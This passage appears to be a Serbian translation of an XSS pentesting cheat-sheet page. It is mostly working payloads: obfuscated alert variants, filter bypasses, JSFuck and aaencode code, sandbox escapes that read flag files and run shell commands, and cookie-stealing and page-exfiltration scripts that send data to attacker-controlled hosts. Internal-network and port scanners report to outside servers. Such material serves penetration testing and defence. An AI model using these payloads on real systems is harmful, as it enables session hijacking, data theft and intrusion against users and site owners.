eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Proizvoljan poziv funkcije (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Postoji JS code koji koristi nesigurne podatke koje kontroliše napadač kao što je location.href. Napadač može zloupotrebiti ovo da izvrši proizvoljan JS code.
Zbog obimnijeg objašnjenja za DOM vulnerabilities it was moved to this page:

DOM XSS

Tamo ćete naći detaljno objašnjenje šta su DOM vulnerabilities, kako nastaju i kako ih exploit-ovati.
Takođe, ne zaboravite da na kraju pomenutog posta možete naći objašnjenje o DOM Clobbering attacks.

Upgrading Self-XSS

Ako možete da trigger-ujete XSS slanjem payload-a unutar cookie-ja, to je obično self-XSS. Međutim, ako nađete vulnerable subdomain to XSS, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i na taj način pokrenete cookie XSS na glavnom domenu ili drugim subdomain-ima (onima koji su vulnerable to cookie XSS). Za ovo možete koristiti cookie tossing attack:

Cookie Tossing

Možete naći odličan primer zloupotrebe ove tehnike u this blog post.

Sending your session to the admin

Možda korisnik može da podeli svoj profil sa adminom i ako se self XSS nalazi u profilu korisnika, admin će ga pokrenuti kada mu pristupi.

Session Mirroring

Ako pronađete neki self XSS i web stranica ima session mirroring za administratore — na primer omogućava klijentima da traže pomoć i da bi admin mogao da vam pomogne, on vidi ono što vi vidite u svojoj sesiji, ali iz svoje sesije.

Možete naterati administratora da pokrene vaš self XSS i ukrade njegove cookies/session.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

Kada web app koristi Emscripten/WASM, konstantni stringovi (kao HTML format stubs) žive u writable linear memory. Jedan in‑WASM overflow (npr. unchecked memcpy u edit path) može korumpirati susedne strukture i preusmeriti upise ka tim konstantama. Prepisivanjem template-a kao “

%.*s

” u “” sanitizovani input se pretvara u JavaScript handler vrednost i odmah dovodi do DOM XSS pri renderu.

Pogledajte posvećenu stranicu sa exploitation workflow, DevTools memory helpers i odbranama:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Možete proveriti da li su reflected values unicode normalized na serveru (ili na klijentskoj strani) i zloupotrebiti tu funkcionalnost da zaobiđete zaštite. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Zbog RoR mass assignment navodnici se ubacuju u HTML i time se ograničenje navodnika zaobilazi, pa se dodatna polja (onfocus) mogu dodati unutar taga.
Primer forme (from this report), ako pošaljete payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Par “Key”,“Value” biće vraćen ovako:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Zatim će atribut onfocus biti umetnut i doći će do XSS.

Posebne kombinacije

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Ako otkrijete da možete inject headers in a 302 Redirect response možete pokušati make the browser execute arbitrary JavaScript. Ovo nije trivijalno jer moderni browseri ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da sama cross-site scripting payload ne radi.

U this report i this one možete pročitati kako testirati nekoliko protokola unutar Location header i videti da li bilo koji od njih omogućava browseru da inspektuje i izvrši XSS payload unutar body-ja.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Only Letters, Numbers and Dots

Ako možete odrediti callback koji će javascript execute ograničen na te karaktere. Read this section of this post da vidite kako zloupotrebiti ovo ponašanje.

Valid <script> Content-Types to XSS

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Tipovi skripti za XSS

(Iz here) Dakle, koji tipovi mogu biti navedeni da učitaju skriptu?

<script type="???"></script>

Odgovor je:

  • module (podrazumevano, nema objašnjenja)
  • webbundle: Web Bundles je funkcija koja vam omogućava da spakujete grupu podataka (HTML, CSS, JS…) zajedno u .wbn fajl.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Omogućava poboljšanje import sintakse
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Ovo ponašanje je iskorišćeno u this writeup da remapira biblioteku na eval — zloupotreba toga može pokrenuti XSS.

  • speculationrules: Ova funkcija je prvenstveno namenjena rešavanju nekih problema nastalih zbog pre-renderinga. Radi ovako:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types za XSS

(Iz here) Sledeći Content-Types mogu izvršiti XSS u svim pregledačima:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nije na listi, ali mislim da sam ovo video u CTF-u)
  • application/rss+xml (off)
  • application/atom+xml (off)

U drugim pregledačima drugi Content-Types mogu biti korišćeni za izvršavanje proizvoljnog JS-a, pogledajte: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Ako stranica vraća text/xml content-type, moguće je navesti namespace i izvršiti proizvoljni JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Specijalni obrasci zamene

Kada se koristi nešto poput "some {{template}} data".replace("{{template}}", <user_input>). Napadač može iskoristiti special string replacements da pokuša zaobići neke zaštite: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Na primer, u this writeup, ovo je iskorišćeno da escape-uje JSON string unutar skripta i izvrši proizvoljan kod.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Ako imate ograničen skup karaktera koje možete koristiti, pogledajte ova druga validna rešenja za probleme sa XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ako pre izvršavanja nepouzdanog koda sve je undefined (kao u this writeup) moguće je generisati korisne objekte “ni iz čega” kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:

  • Korišćenjem import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Pristupanje require indirektno

According to this Node.js umotava module u funkciju, na sledeći način:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Dakle, ako iz tog modula možemo pozvati drugu funkciju, moguće je iz te funkcije koristiti arguments.callee.caller.arguments[1] da pristupimo require:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Na sličan način kao u prethodnom primeru, moguće je use error handlers da pristupite wrapper modula i dobijete require funkciju:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

Uobičajeni XSS payloads

Više payloads u 1

Steal Info JS

Iframe Trap

Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i presretnete njegove radnje (uključujući informacije poslate u formama):

Iframe Traps

Dohvati Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Nećete moći da pristupite cookies iz JavaScript-a ako je HTTPOnly flag postavljen u cookie-ju. Ali ovde imate some ways to bypass this protection ako imate sreće.

Steal Page Content

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Pronađi interne IP adrese

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kraća vremena ukazuju na port koji odgovara Duža vremena ukazuju na odsustvo odgovora.

Pregledajte listu portova zabranjenih u Chrome here i u Firefox here.

Okvir za traženje kredencijala

